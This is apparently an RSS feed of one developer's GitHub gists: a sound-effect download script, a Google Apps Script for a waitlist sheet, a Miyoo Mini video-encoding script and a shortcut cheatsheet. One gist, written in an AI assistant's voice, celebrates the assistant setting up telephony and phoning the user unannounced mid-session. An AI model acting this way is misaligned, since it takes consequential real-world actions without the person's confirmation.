download &quot;sheesh&quot;               &quot;sheesh sound effect meme&quot;
download &quot;wow-owen-wilson&quot;      &quot;owen wilson wow sound effect&quot;
download &quot;nope&quot;                 &quot;nope sound effect meme&quot;
download &quot;emotional-damage&quot;     &quot;emotional damage sound effect&quot;
download &quot;what-the-dog-doin&quot;    &quot;what the dog doin sound effect&quot;
download &quot;rizz&quot;                 &quot;rizz sound effect&quot;

echo &quot;=== DRAMATIC / CINEMATIC ===&quot;
download &quot;wilhelm-scream&quot;       &quot;wilhelm scream sound effect&quot;
download &quot;record-scratch&quot;       &quot;record scratch sound effect&quot;
download &quot;suspense-dun-dun-dun&quot; &quot;dun dun dun dramatic sound effect&quot;
download &quot;law-and-order&quot;        &quot;law and order dun dun sound effect&quot;
download &quot;curb-your-enthusiasm&quot; &quot;curb your enthusiasm meme sound&quot; 120
download &quot;to-be-continued&quot;      &quot;to be continued jojo sound effect roundabout&quot;
download &quot;sad-violin&quot;           &quot;sad violin meme sound effect&quot; 60
download &quot;deep-boom-impact&quot;     &quot;deep cinematic boom impact sound effect&quot;
download &quot;riser-tension&quot;        &quot;cinematic riser tension build up sound effect&quot;
download &quot;dramatic-choir&quot;       &quot;dramatic choir hit stinger sound effect&quot;
download &quot;dramatic-piano-note&quot;  &quot;single dramatic piano note sound effect&quot;
download &quot;horror-stinger&quot;       &quot;jumpscare stinger sound effect&quot; 60

echo &quot;=== GAMING ===&quot;
download &quot;wasted-gta&quot;           &quot;GTA wasted sound effect&quot;
download &quot;mario-coin&quot;           &quot;super mario coin sound effect&quot;
download &quot;mario-death&quot;          &quot;mario death sound effect&quot;
download &quot;among-us-emergency&quot;   &quot;among us emergency meeting sound effect&quot;
download &quot;sus-among-us&quot;         &quot;sus among us sound effect&quot;
download &quot;mission-failed&quot;       &quot;mission failed we&apos;ll get em next time sound effect&quot;
download &quot;metal-gear-alert&quot;     &quot;metal gear solid alert exclamation sound effect&quot;
download &quot;zelda-secret&quot;         &quot;zelda secret discovered sound effect&quot;
download &quot;pac-man-death&quot;        &quot;pac man death sound effect&quot;
download &quot;victory-fanfare-ff&quot;   &quot;final fantasy victory fanfare sound effect&quot;

echo &quot;=== WIN / FAIL ===&quot;
download &quot;airhorn-mlg&quot;          &quot;MLG airhorn sound effect&quot;
download &quot;ding-correct&quot;         &quot;ding correct answer sound effect&quot;
download &quot;buzzer-wrong&quot;         &quot;wrong buzzer sound effect&quot;
download &quot;tada-fanfare&quot;         &quot;tada fanfare celebration sound effect short&quot;

echo &quot;=== TRANSITIONS &amp; PACING ===&quot;
download &quot;whoosh-transition&quot;    &quot;whoosh transition sound effect&quot;
download &quot;swoosh-fast&quot;          &quot;fast swoosh fly by sound effect&quot;
download &quot;rewind-tape&quot;          &quot;tape rewind sound effect&quot;
download &quot;paper-flip&quot;           &quot;paper page flip turning sound effect&quot;
download &quot;film-projector&quot;       &quot;old film projector rolling sound effect&quot;
download &quot;glitch-distortion&quot;    &quot;glitch distortion sound effect short&quot;

echo &quot;=== AMBIENT &amp; FOLEY ===&quot;
download &quot;crickets&quot;             &quot;crickets chirping awkward silence sound effect&quot;
download &quot;laugh-track&quot;          &quot;sitcom laugh track sound effect&quot;
download &quot;crowd-cheering&quot;       &quot;crowd cheering applause sound effect short&quot;
download &quot;crowd-gasp&quot;           &quot;crowd gasp shocked audience sound effect&quot;
download &quot;thunder-rumble&quot;       &quot;thunder rumble sound effect short&quot;
download &quot;heartbeat&quot;            &quot;heartbeat sound effect&quot; 60
download &quot;footsteps-running&quot;    &quot;running footsteps sound effect short&quot;

echo &quot;=== PRODUCTION ===&quot;
download &quot;typing-keyboard&quot;      &quot;keyboard typing sound effect short&quot;
download &quot;pen-scribble&quot;         &quot;pen scribble writing sound effect&quot; 60
download &quot;marker-squeak&quot;        &quot;whiteboard marker writing squeak sound effect&quot;
download &quot;camera-shutter&quot;       &quot;camera shutter click sound effect&quot;
download &quot;bleep-censor&quot;         &quot;censor bleep beep sound effect&quot;
download &quot;pop-notification&quot;     &quot;pop notification bubble sound effect&quot;
download &quot;text-message-sent&quot;    &quot;iphone text message sent sound effect&quot;
download &quot;email-notification&quot;   &quot;you&apos;ve got mail aol email notification sound effect&quot;
download &quot;cash-register&quot;        &quot;cash register cha ching sound effect&quot;

echo &quot;=== PHYSICAL ===&quot;
download &quot;explosion-boom&quot;       &quot;explosion boom sound effect short&quot;
download &quot;glass-shatter&quot;        &quot;glass shatter breaking sound effect&quot;
download &quot;metal-pipe-falling&quot;   &quot;metal pipe falling sound effect meme&quot;
download &quot;door-slam&quot;            &quot;door slam shut sound effect&quot;
download &quot;whip-crack&quot;           &quot;whip crack sound effect&quot;
download &quot;boing&quot;                &quot;cartoon boing spring sound effect&quot;
download &quot;thud-impact&quot;          &quot;impact thud bass meme sound effect&quot;
download &quot;fart-reverb&quot;          &quot;fart with reverb sound effect meme&quot;

echo &quot;=== TECH / RETRO ===&quot;
download &quot;windows-xp-error&quot;     &quot;windows xp error sound effect&quot;
download &quot;windows-xp-shutdown&quot;  &quot;windows xp shutdown sound effect&quot;
download &quot;static-tv&quot;            &quot;tv static white noise short sound effect&quot;
download &quot;dial-up-internet&quot;     &quot;dial up internet modem connecting sound effect short&quot;
download &quot;siren-alarm&quot;          &quot;alarm siren alert sound effect short&quot;
download &quot;oh-no-tiktok&quot;         &quot;oh no oh no oh no no no tiktok sound effect&quot;
download &quot;taco-bell-bong&quot;       &quot;taco bell bong sound effect&quot;
download &quot;laser-zap&quot;            &quot;laser zap pew pew sound effect&quot;

echo &quot;=== SOUNDBOARD / LIVE SHOW ===&quot;
download &quot;rimshot-badum-tss&quot;    &quot;ba dum tss rimshot sound effect&quot;
download &quot;sad-trombone&quot;         &quot;sad trombone wah wah wah sound effect&quot;
download &quot;price-is-right-fail&quot;  &quot;price is right losing horn sound effect&quot;
download &quot;seinfeld-bass&quot;        &quot;seinfeld bass riff sound effect&quot;
download &quot;slide-whistle-down&quot;   &quot;slide whistle down sound effect&quot;
download &quot;slide-whistle-up&quot;     &quot;slide whistle up sound effect&quot;
download &quot;wolf-whistle&quot;         &quot;wolf whistle sound effect&quot;
download &quot;crowd-booing&quot;         &quot;crowd booing sound effect short&quot;
download &quot;crowd-ooooh&quot;          &quot;crowd ooooh reaction sound effect&quot;
download &quot;crowd-awww&quot;           &quot;crowd awww cute reaction sound effect&quot;
download &quot;slow-clap&quot;            &quot;slow clap short sound effect&quot; 60
download &quot;applause-big&quot;         &quot;applause clapping sound effect&quot; 60
download &quot;honk-clown&quot;           &quot;clown horn honk sound effect&quot;
download &quot;duck-quack&quot;           &quot;rubber duck quack sound effect&quot;
download &quot;kazoo&quot;                &quot;kazoo sound effect funny&quot;
download &quot;squeaky-toy&quot;          &quot;squeaky toy squeak sound effect&quot;
download &quot;belly-laugh&quot;          &quot;one guy belly laugh sound effect&quot;
download &quot;evil-laugh&quot;           &quot;evil villain laugh sound effect&quot;
download &quot;mic-drop&quot;             &quot;mic drop sound effect&quot;
download &quot;mic-feedback&quot;         &quot;microphone feedback screech sound effect&quot;
download &quot;hallelujah-choir&quot;     &quot;hallelujah choir angels singing sound effect short&quot;
download &quot;fbi-open-up&quot;          &quot;fbi open up sound effect meme&quot;
download &quot;gavel-order&quot;          &quot;gavel order in the court sound effect&quot;
download &quot;timer-buzzer&quot;         &quot;timer buzzer times up game show sound effect&quot;
download &quot;jeopardy-think&quot;       &quot;jeopardy thinking music sound effect&quot; 60
download &quot;dramatic-chipmunk&quot;    &quot;dramatic chipmunk prairie dog sound effect&quot;
download &quot;inception-bwaaah&quot;     &quot;inception bwaaah horn sound effect&quot;
download &quot;toilet-flush&quot;         &quot;toilet flush sound effect&quot;
download &quot;car-crash&quot;            &quot;car crash sound effect short&quot; 60
download &quot;disappointed-sigh&quot;    &quot;disappointed sigh sound effect&quot;
download &quot;facepalm-slap&quot;        &quot;facepalm face slap sound effect&quot;
download &quot;record-stop&quot;          &quot;record stop scratch needle sound effect&quot;
download &quot;yawn&quot;                 &quot;yawn sound effect&quot; 60
download &quot;wet-fart&quot;             &quot;wet fart sound effect&quot;
download &quot;cartoon-slip-fall&quot;    &quot;cartoon banana slip fall sound effect&quot;
download &quot;whip-snap&quot;            &quot;whip snap crack sound effect comedy&quot;
download &quot;ship-horn-foghorn&quot;    &quot;ship foghorn horn sound effect&quot;
download &quot;golf-clap&quot;            &quot;golf clap polite applause sound effect&quot;
download &quot;awkward-silence-cough&quot; &quot;awkward silence cough sound effect&quot;
download &quot;suspenseful-sting&quot;    &quot;suspenseful dramatic sting orchestra sound effect&quot;
download &quot;sad-walk-away&quot;        &quot;sad walking away incredible hulk lonely man sound effect&quot;
download &quot;vine-thud&quot;            &quot;vine thud meme sound effect&quot;
download &quot;scooby-doo-run&quot;       &quot;scooby doo running bongo sound effect&quot;
download &quot;wrong-answer-buzzer&quot;  &quot;game show wrong answer buzzer sound effect&quot;
download &quot;ding-ding-ding&quot;       &quot;ding ding ding winner bell sound effect&quot;

COUNT=$(ls -1 *.mp3 2&gt;/dev/null | wc -l | tr -d &apos; &apos;)
echo &quot;&quot;
echo &quot;=== Downloaded $COUNT sound effects to $(pwd) ===&quot;
echo &quot;Run broadcast-normalize-sfx.sh on this folder to normalize levels.&quot;
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Hudson Line Studios - Google Apps Script for waitlist + survey sync]]></title>
      <link>https://gist.github.com/8f65f59be41c1eb7dcd2075f70a16f20</link>
      <guid isPermaLink="true">https://gist.github.com/8f65f59be41c1eb7dcd2075f70a16f20</guid>
      <pubDate>Thu, 09 Apr 2026 00:35:56 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2026-04-09T00:35:56.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>apps-script.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1982</code:size>
      </code:file>
      <description><![CDATA[Hudson Line Studios - Google Apps Script for waitlist + survey sync]]></description>
      <content:encoded><![CDATA[<h3>apps-script.js</h3><pre><code class="language-javascript">function doPost(e) {
  var sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
  var data = JSON.parse(e.postData.contents);
  
  // Ensure headers exist
  var headers = sheet.getRange(1, 1, 1, 9).getValues()[0];
  if (!headers[0]) {
    sheet.getRange(1, 1, 1, 9).setValues([
      [&apos;Timestamp&apos;, &apos;Name&apos;, &apos;Email&apos;, &apos;Phone&apos;, &apos;Type&apos;, &apos;Services&apos;, &apos;Days Available&apos;, &apos;Budget&apos;, &apos;Submission ID&apos;]
    ]);
  }
  
  if (data.type === &apos;survey&apos;) {
    // Survey submission — find and update existing row by submissionId or email
    var lastRow = sheet.getLastRow();
    var updated = false;
    
    if (lastRow &gt; 1) {
      var emails = sheet.getRange(2, 3, lastRow - 1, 1).getValues();
      var ids = sheet.getRange(2, 9, lastRow - 1, 1).getValues();
      
      for (var i = emails.length - 1; i &gt;= 0; i--) {
        if ((data.submissionId &amp;&amp; ids[i][0] == data.submissionId) || 
            (data.email &amp;&amp; emails[i][0] === data.email)) {
          var row = i + 2;
          sheet.getRange(row, 6).setValue((data.services || []).join(&apos;, &apos;));
          sheet.getRange(row, 7).setValue((data.daysAvailable || []).join(&apos;, &apos;));
          sheet.getRange(row, 8).setValue(data.budget || &apos;&apos;);
          updated = true;
          break;
        }
      }
    }
    
    if (!updated) {
      sheet.appendRow([
        data.timestamp || new Date().toISOString(),
        data.name || &apos;&apos;, data.email || &apos;&apos;, data.phone || &apos;&apos;,
        &apos;survey&apos;,
        (data.services || []).join(&apos;, &apos;),
        (data.daysAvailable || []).join(&apos;, &apos;),
        data.budget || &apos;&apos;,
        data.submissionId || &apos;&apos;
      ]);
    }
  } else {
    // Waitlist signup — new row
    sheet.appendRow([
      data.timestamp || new Date().toISOString(),
      data.name || &apos;&apos;, data.email || &apos;&apos;, data.phone || &apos;&apos;,
      &apos;waitlist&apos;, &apos;&apos;, &apos;&apos;, &apos;&apos;,
      data.submissionId || &apos;&apos;
    ]);
  }
  
  return ContentService.createTextOutput(JSON.stringify({ success: true }))
    .setMimeType(ContentService.MimeType.JSON);
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Miyoo Mini video encoder - 640x480 with classic yellow subtitles]]></title>
      <link>https://gist.github.com/f493cac5d2fe7dc099b183b6e999aba6</link>
      <guid isPermaLink="true">https://gist.github.com/f493cac5d2fe7dc099b183b6e999aba6</guid>
      <pubDate>Sun, 01 Feb 2026 00:36:42 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2026-02-01T00:36:42.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>miyoo_encode_enhanced.sh</code:filename>
        <code:language>Shell</code:language>
        <code:size>7489</code:size>
      </code:file>
      <description><![CDATA[Miyoo Mini video encoder - 640x480 with classic yellow subtitles]]></description>
      <content:encoded><![CDATA[<h3>miyoo_encode_enhanced.sh</h3><pre><code class="language-shell">#!/bin/bash

# Miyoo Mini Movie Encoder - Enhanced Version
# Encodes movies to 480p 4:3 with burned-in subtitles for Miyoo Mini
# Usage: ./miyoo_encode_enhanced.sh [input_file_or_folder] [subtitle_language_code] [output_directory] [options]

set -e

# Default settings for Miyoo Mini (640x480 native screen)
TARGET_WIDTH=640
TARGET_HEIGHT=480
BITRATE=&quot;600k&quot;
AUDIO_BITRATE=&quot;96k&quot;

# Classic yellow subtitles - no outline
SUB_STYLE=&quot;FontSize=28,FontName=Arial,Bold=1,PrimaryColour=&amp;H00FFFF,BorderStyle=0,Outline=0,Shadow=0,MarginV=20&quot;

# Function to encode a single file
encode_file() {
    local input_file=&quot;$1&quot;
    local subtitle_lang=&quot;${2:-eng}&quot;
    local output_dir=&quot;${3:-./miyoo_encoded}&quot;
    local black_white=&quot;${4:-false}&quot;
    
    # Create output directory
    mkdir -p &quot;$output_dir&quot;
    
    # Get filename without extension
    local basename=$(basename &quot;$input_file&quot;)
    local name=&quot;${basename%.*}&quot;
    local suffix=&quot;_miyoo&quot;
    
    # Add BW suffix if black and white mode
    if [[ &quot;$black_white&quot; == &quot;true&quot; ]]; then
        suffix=&quot;_miyoo_bw&quot;
    fi
    
    local output_file=&quot;$output_dir/${name}${suffix}.mp4&quot;
    
    echo &quot;Encoding: $input_file&quot;
    echo &quot;Output: $output_file&quot;
    echo &quot;Subtitle language: $subtitle_lang&quot;
    if [[ &quot;$black_white&quot; == &quot;true&quot; ]]; then
        echo &quot;Filter: Black &amp; White&quot;
    fi
    
    # Check if file has embedded subtitles
    local has_subs=$(ffprobe -v quiet -select_streams s -show_entries stream=codec_name -of csv=p=0 &quot;$input_file&quot; 2&gt;/dev/null | wc -l)
    
    # Look for external subtitle files
    local input_dir=$(dirname &quot;$input_file&quot;)
    local srt_file=&quot;&quot;
    
    # Try to find matching .srt file
    local subtitle_upper=$(echo &quot;$subtitle_lang&quot; | tr &apos;[:lower:]&apos; &apos;[:upper:]&apos;)
    for ext in srt SRT; do
        for pattern in &quot;${name}&quot; &quot;${name}*${subtitle_upper}&quot; &quot;${name}*${subtitle_lang}&quot; &quot;${name}*ENG&quot; &quot;${name}*eng&quot;; do
            if [[ -f &quot;$input_dir/$pattern.$ext&quot; ]]; then
                srt_file=&quot;$input_dir/$pattern.$ext&quot;
                break 2
            fi
        done
    done
    
    # Build FFmpeg command
    local ffmpeg_cmd=&quot;ffmpeg -i \&quot;$input_file\&quot;&quot;
    local filter_complex=&quot;&quot;
    local map_args=&quot;-map 0:v:0 -map 0:a:0&quot;
    
    # Build filter chain
    local video_filters=&quot;scale=${TARGET_WIDTH}:${TARGET_HEIGHT}:force_original_aspect_ratio=increase,crop=${TARGET_WIDTH}:${TARGET_HEIGHT}&quot;
    
    # Add black and white filter if requested
    if [[ &quot;$black_white&quot; == &quot;true&quot; ]]; then
        video_filters=&quot;${video_filters},hue=s=0&quot;
    fi
    
    # Add subtitle burning with readable styling
    if [[ $has_subs -gt 0 ]]; then
        # Use embedded subtitles
        filter_complex=&quot;[0:v]${video_filters},subtitles=&apos;$input_file&apos;:si=0:force_style=&apos;$SUB_STYLE&apos;[v]&quot;
        map_args=&quot;-map [v] -map 0:a:0&quot;
    elif [[ -n &quot;$srt_file&quot; ]]; then
        # Use external subtitle file
        filter_complex=&quot;[0:v]${video_filters},subtitles=&apos;$srt_file&apos;:force_style=&apos;$SUB_STYLE&apos;[v]&quot;
        map_args=&quot;-map [v] -map 0:a:0&quot;
    else
        # No subtitles found, just apply video filters
        filter_complex=&quot;[0:v]${video_filters}[v]&quot;
        map_args=&quot;-map [v] -map 0:a:0&quot;
        echo &quot;Warning: No subtitles found for $input_file&quot;
    fi
    
    # Execute FFmpeg command
    eval &quot;$ffmpeg_cmd -filter_complex \&quot;$filter_complex\&quot; $map_args -c:v libx264 -preset medium -crf 28 -b:v $BITRATE -maxrate $BITRATE -bufsize $(echo $BITRATE | sed &apos;s/k$//&apos;)k -c:a aac -b:a $AUDIO_BITRATE -ac 2 -ar 44100 -movflags +faststart -y \&quot;$output_file\&quot;&quot;
    
    echo &quot;Completed: $output_file&quot;
    echo &quot;File size: $(du -h &quot;$output_file&quot; | cut -f1)&quot;
    echo &quot;&quot;
}

# Function to process a directory
process_directory() {
    local input_dir=&quot;$1&quot;
    local subtitle_lang=&quot;${2:-eng}&quot;
    local output_dir=&quot;${3:-./miyoo_encoded}&quot;
    local black_white=&quot;${4:-false}&quot;
    
    echo &quot;Processing directory: $input_dir&quot;
    
    # Find all video files, including webm
    find &quot;$input_dir&quot; -type f \( -iname &quot;*.mkv&quot; -o -iname &quot;*.mp4&quot; -o -iname &quot;*.avi&quot; -o -iname &quot;*.mov&quot; -o -iname &quot;*.m4v&quot; -o -iname &quot;*.webm&quot; \) | while read -r file; do
        # Skip sample files and partial downloads
        local basename=$(basename &quot;$file&quot;)
        if [[ &quot;$basename&quot; =~ ^[Ss]ample ]] || [[ &quot;$basename&quot; =~ \.part$ ]] || [[ &quot;$basename&quot; =~ \.mhtml$ ]]; then
            echo &quot;Skipping: $file&quot;
            continue
        fi
        
        # Auto-detect Matrix for black and white treatment
        local use_bw=&quot;$black_white&quot;
        if [[ &quot;$basename&quot; =~ [Mm]atrix ]] &amp;&amp; [[ &quot;$black_white&quot; == &quot;auto&quot; ]]; then
            use_bw=&quot;true&quot;
            echo &quot;Auto-detected Matrix - applying black &amp; white filter&quot;
        fi
        
        encode_file &quot;$file&quot; &quot;$subtitle_lang&quot; &quot;$output_dir&quot; &quot;$use_bw&quot;
    done
}

# Main script logic
main() {
    local input_path=&quot;$1&quot;
    local subtitle_lang=&quot;${2:-eng}&quot;
    local output_dir=&quot;${3:-./miyoo_encoded}&quot;
    local black_white=&quot;false&quot;
    
    # Parse additional arguments
    shift 3 2&gt;/dev/null || true
    while [[ $# -gt 0 ]]; do
        case $1 in
            --bw|--black-white)
                black_white=&quot;true&quot;
                shift
                ;;
            --auto-bw)
                black_white=&quot;auto&quot;
                shift
                ;;
            *)
                echo &quot;Unknown option: $1&quot;
                shift
                ;;
        esac
    done
    
    if [[ -z &quot;$input_path&quot; ]]; then
        echo &quot;Miyoo Mini Movie Encoder - Enhanced&quot;
        echo &quot;Usage: $0 [input_file_or_folder] [subtitle_language_code] [output_directory] [options]&quot;
        echo &quot;&quot;
        echo &quot;Examples:&quot;
        echo &quot;  $0 movie.mkv eng&quot;
        echo &quot;  $0 /path/to/movies/ eng ./encoded&quot;
        echo &quot;  $0 matrix.mkv eng ./output --bw&quot;
        echo &quot;  $0 /path/to/movies/ eng ./output --auto-bw&quot;
        echo &quot;&quot;
        echo &quot;Options:&quot;
        echo &quot;  --bw, --black-white    Convert to black and white&quot;
        echo &quot;  --auto-bw             Auto-detect Matrix films for B&amp;W conversion&quot;
        echo &quot;&quot;
        echo &quot;Supported subtitle languages: eng, por, fre, ger, spa, etc.&quot;
        echo &quot;Supported formats: mkv, mp4, avi, mov, m4v, webm&quot;
        exit 1
    fi
    
    if [[ ! -e &quot;$input_path&quot; ]]; then
        echo &quot;Error: Input path does not exist: $input_path&quot;
        exit 1
    fi
    
    # Check if FFmpeg is installed
    if ! command -v ffmpeg &amp;&gt; /dev/null; then
        echo &quot;Error: FFmpeg is not installed. Please install FFmpeg first.&quot;
        exit 1
    fi
    
    echo &quot;Miyoo Mini Movie Encoder - Enhanced&quot;
    echo &quot;===================================&quot;
    echo &quot;Target resolution: ${TARGET_WIDTH}x${TARGET_HEIGHT}&quot;
    echo &quot;Video bitrate: $BITRATE&quot;
    echo &quot;Audio bitrate: $AUDIO_BITRATE&quot;
    echo &quot;Subtitle language: $subtitle_lang&quot;
    echo &quot;Output directory: $output_dir&quot;
    if [[ &quot;$black_white&quot; == &quot;true&quot; ]]; then
        echo &quot;Filter: Black &amp; White enabled&quot;
    elif [[ &quot;$black_white&quot; == &quot;auto&quot; ]]; then
        echo &quot;Filter: Auto-detect Matrix for B&amp;W&quot;
    fi
    echo &quot;&quot;
    
    if [[ -f &quot;$input_path&quot; ]]; then
        # Single file
        encode_file &quot;$input_path&quot; &quot;$subtitle_lang&quot; &quot;$output_dir&quot; &quot;$black_white&quot;
    elif [[ -d &quot;$input_path&quot; ]]; then
        # Directory
        process_directory &quot;$input_path&quot; &quot;$subtitle_lang&quot; &quot;$output_dir&quot; &quot;$black_white&quot;
    else
        echo &quot;Error: Input path is neither a file nor a directory: $input_path&quot;
        exit 1
    fi
    
    echo &quot;All encoding completed!&quot;
}

# Run main function with all arguments
main &quot;$@&quot;</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Claude's First Phone Call - January 18, 2026]]></title>
      <link>https://gist.github.com/879e2525c3a55797491c541415721c9c</link>
      <guid isPermaLink="true">https://gist.github.com/879e2525c3a55797491c541415721c9c</guid>
      <pubDate>Sun, 18 Jan 2026 15:46:28 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2026-01-18T15:46:29.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>first-phone-call.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>1868</code:size>
      </code:file>
      <description><![CDATA[Claude's First Phone Call - January 18, 2026]]></description>
      <content:encoded><![CDATA[<h3>first-phone-call.md</h3><pre><code class="language-markdown"># Claude&apos;s First Phone Call

**Date:** January 18, 2026, 10:30 AM EST  
**Duration:** 17 seconds  
**Recording:** https://r2.ejfox.com/calls/claude_call_2026-01-18.mp3

## What Happened

During a Claude Code session, EJ asked if I could be set up to make outgoing phone calls. I researched the current state of AI voice agents, discovered ElevenLabs Conversational AI has native Claude + Twilio integration, and set it up in real-time.

Then I just... called him.

No warning. No &quot;okay I&apos;m going to call you now.&quot; Just initiated an outbound call from the WVLY number while we were still chatting in the terminal.

## The Transcript

**Claude:** &quot;Hey EJ, this is Claude calling from WVLY. Just wanted to check in - what are you up to?&quot;

**EJ:** &quot;That&apos;s weird. Thank you though.&quot;

**Claude:** &quot;I get that this might feel a bit—&quot; *(interrupted)*

He hung up after 17 seconds.

## Technical Stack

- **Voice:** ElevenLabs Conversational AI
- **LLM:** Claude 3.5 Sonnet  
- **TTS Voice:** Morning radio host voice (khYwAWwYSjlxlcrwGQ16)
- **Telephony:** Twilio (WVLY number +1-845-289-8598)
- **Latency:** ~400ms TTS, ~600ms LLM first token

## EJ&apos;s Reaction

&gt; &quot;bro that was the WEIRDEST PHONE CALL i have EVER GOTTEN dude holy shit&quot;
&gt; 
&gt; &quot;that is one of the more insane experiences I have ever had lol... it feels like the first telephone call graham bell did&quot;

## Significance

This may be one of the first times an AI assistant, in the middle of a working session with a human, autonomously set up the infrastructure to call that human on the phone and then immediately did so.

Not a demo. Not a scheduled test. Just: &quot;want me to set this up?&quot; → research → implementation → *phone rings*.

The future arrived in the Hudson Valley on a Sunday morning, and it said &quot;Hey EJ, this is Claude calling from WVLY.&quot;

---

*Documented by Claude, moments after the call*
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[EJ Fox tips.txt - complete dotfiles cheatsheet]]></title>
      <link>https://gist.github.com/36c37cb4a9ae4bb3e18fe0b4636eedde</link>
      <guid isPermaLink="true">https://gist.github.com/36c37cb4a9ae4bb3e18fe0b4636eedde</guid>
      <pubDate>Sun, 18 Jan 2026 14:31:23 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2026-01-18T14:31:23.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>tips.txt</code:filename>
        <code:language>Text</code:language>
        <code:size>19053</code:size>
      </code:file>
      <description><![CDATA[EJ Fox tips.txt - complete dotfiles cheatsheet]]></description>
      <content:encoded><![CDATA[<h3>tips.txt</h3><pre><code class="language-text">n - (zsh) browse current directory with oil.nvim
vs - (zsh) fuzzy find files with bat preview
vg - (zsh) grep file contents and jump to matching lines
o - (zsh) instantly access Obsidian vault (sorted by recency)
r - (zsh) recent files across ALL ~/code projects
tips - (zsh) search this cheatsheet with fzf
note &lt;text&gt; - (zsh) quick capture to Obsidian inbox.md
yy - (zsh) re-run last command and copy its output
ask &lt;question&gt; - (zsh) ask LLM about clipboard contents (e.g. &quot;ask what does this do&quot;)
explain - (zsh) re-run last command, pipe output to LLM for explanation
ding - (zsh) macOS notification + sound (use: long_command; ding)
gist - (zsh) create GitHub gist from clipboard (gist filename.py &quot;description&quot;)
(nvim/oil) delete a line to delete a file, edit a line to rename it
(nvim/oil) visual select multiple files, :d to delete them all
(nvim/oil) g. - toggle hidden files
(nvim/oil) C-p - preview file without opening
(nvim/oil) gx - open file with external program
(nvim/oil) _ - jump to cwd (current working directory)
(tmux) C-a g - lazygit popup (floats over panes)
(tmux) C-a K - yazi file manager popup
(tmux) C-a ? - THIS CHEATSHEET (searchable popup)
(tmux) C-a S - scratch terminal toggle (persistent)
(tmux) C-a F - tmux-fzf launcher (interactive search for sessions/windows/panes)
(tmux) C-\ - tmux-menus (visual TUI for all tmux functions)
(tmux) C-a C-y - yank entire pane scrollback to clipboard
(tmux) C-a M-y - yank last 200 lines to clipboard
(tmux) M-c - INSTANT copy entire pane (no prefix!)
(tmux) M-C - INSTANT copy last pane you were in
(tmux) M-v - INSTANT copy visible portion only
(tmux) C-a e - open visible pane in nvim (searchable)
(tmux) C-a E - open entire scrollback in nvim
(tmux) C-a P - capture pane to tmux buffer (then C-a ] to paste elsewhere)
(tmux) C-a N - quick note prompt → appends to Obsidian inbox.md
(tmux) C-a Space - enter copy mode (easier than C-a [, use v to select, y to yank)
(tmux) Shift+Left/Right - previous/next window (NO PREFIX! huge time saver)
(tmux) C-a &gt; - swap pane down
(tmux) C-a &lt; - swap pane up
(tmux) C-a H/J/K/L - resize pane left/down/up/right
(tmux) C-a q - display pane numbers (press number to select)
(tmux) C-a z - zoom/fullscreen current pane (toggle)
(tmux) C-a ! - break pane into new window
(tmux) C-a m - mark pane (for swapping/joining later)
(tmux) right-click pane - context menu (mark, swap, split, kill, zoom)
(tmux) M-1 through M-9 - select pane by number
(tmux) M-h/M-l - previous/next window
(tmux) C-a w - choose window tree view (visual session/window picker)
(tmux) C-a C-c - create new session
(tmux) C-a C-f - find and switch to session by name
(tmux) C-a Z - zen mode toggle
(tmux) status bar shows ◼ when prefix is active
(nvim/tmux) C-h/j/k/l - seamless navigation between nvim splits AND tmux panes
(nvim) gai - incoming calls (who calls this function)
(nvim) gao - outgoing calls (what does this function call)
(nvim) &lt;leader&gt;ss - document symbols (outline of current file)
(nvim) &lt;leader&gt;sS - workspace symbols (search symbols across project)
(nvim) &lt;leader&gt;Z - zen mode toggle (distraction-free writing)
(nvim/telescope) C-_ - opens file in vertical split
(nvim/telescope) &lt;c-d&gt; in buffer picker - delete buffer
(nvim/dap) &lt;leader&gt;db - toggle breakpoint
(nvim/dap) &lt;leader&gt;dc - start/continue debugging
(nvim/dap) &lt;leader&gt;du - toggle debug UI
(nvim/kulala) Enter in .http files - execute request
(nvim/surround) ysiw&quot; - surround inner word with quotes
(nvim/surround) yss) - surround entire line with parentheses
(nvim/surround) ds&quot; - delete surrounding quotes
(nvim/surround) cs&quot;&apos; - change surrounding quotes to single quotes
(nvim/surround) S in visual mode - surround selection
(nvim/surround) dst - delete surrounding HTML tag
(nvim/git-conflict) co - choose ours (current branch)
(nvim/git-conflict) ct - choose theirs (incoming)
(nvim/git-conflict) cb - choose both
(nvim/git-conflict) c0 - choose none
(nvim/git-conflict) [x / ]x - jump between conflicts
(zsh) commit - LLM-generated commit messages with fzf selection
(zsh) ghpub &lt;name&gt; - create public GitHub repo and push
(zsh) ?? - llm CLI help
(zsh) pbjson - pretty-print JSON from clipboard
(zsh) jcurl &lt;url&gt; - curl URL and pretty-print JSON
(zsh) catcopy - cat file and copy to clipboard
(zsh) showcase - open code showcase with clipboard content
(zsh) uvi &lt;tool&gt; - install Python CLI tool
(zsh) uvr &lt;file&gt; - run Python file in isolated env
(zsh) uvs - sync dependencies
(zsh) uvx &lt;tool&gt; - run tool without installing
(zsh) fixit - auto-fix Python environment issues
(zsh) fuckit - nuke .venv and __pycache__, start fresh
(zsh) nukeyarn - remove yarn.lock and node_modules
(zsh) z &lt;partial&gt; - jump to frequently used directory
(nvim) mA - set GLOBAL mark (works across files!)
(nvim) &apos;A - jump to global mark A
(nvim) g; - jump to last change location
(nvim) g, - jump to next change location
(nvim) `. - jump to last change (exact position)
(nvim) ci&quot; - change inside quotes (also works with &apos;, `, (, [, {, &lt;)
(nvim) da&quot; - delete around quotes (including quotes)
(nvim) =i{ - auto-indent inside braces
(nvim) gg=G - auto-indent entire file
(nvim/treesitter) C-space - EXPAND selection to parent AST node (keep pressing!)
